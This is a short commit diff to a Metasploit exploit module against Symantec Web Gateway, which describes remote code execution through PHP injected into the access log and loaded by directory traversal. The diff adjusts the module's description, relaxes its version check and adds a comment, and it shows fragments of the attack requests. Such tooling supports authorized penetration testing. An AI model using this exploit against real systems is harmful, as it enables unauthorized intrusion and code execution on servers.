Fix check

modules/exploits/linux/http/symantec_web_gateway_lfi.rb

@@ -19,8 +19,9 @@ class Metasploit3 < Msf::Exploit::Remote
 					This module exploits a vulnerability found in Symantec Web Gateway's HTTP
 				service.  By injecting PHP code in the access log, it is possible to load it
 				with a directory traversal flaw, which allows remote code execution under the
-				context of 'apache'. Please note that it may take a few minutes to get a
-				shell back.
+				context of 'apache'. Please note that it may take up to several minutes to
+				retrieve access_log, which is about the amount of time required to see a shell
+				back.
 			},
 			'License'        => MSF_LICENSE,
 			'Author'         =>
@@ -63,8 +64,8 @@ class Metasploit3 < Msf::Exploit::Remote
 			'uri'    => '/spywall/login.php'
 		})
 
-		if res and res.body =~ /Symantec Web Gateway/ and res.body =~ /Version 5\.0\.2\.\d/
-			return Exploit::CheckCode::Vulnerable
+		if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
+			return Exploit::CheckCode::Detected
 		else
 			return Exploit::CheckCode::Safe
 		end
@@ -86,6 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		select(nil, nil, nil, 1)
 
 		# Use the directory traversal to load the PHP code
+		# access_log takes a long time to retrieve
 		print_status("#{peer} - Loading PHP code..")
 		send_request_raw({
 			'method' => 'GET',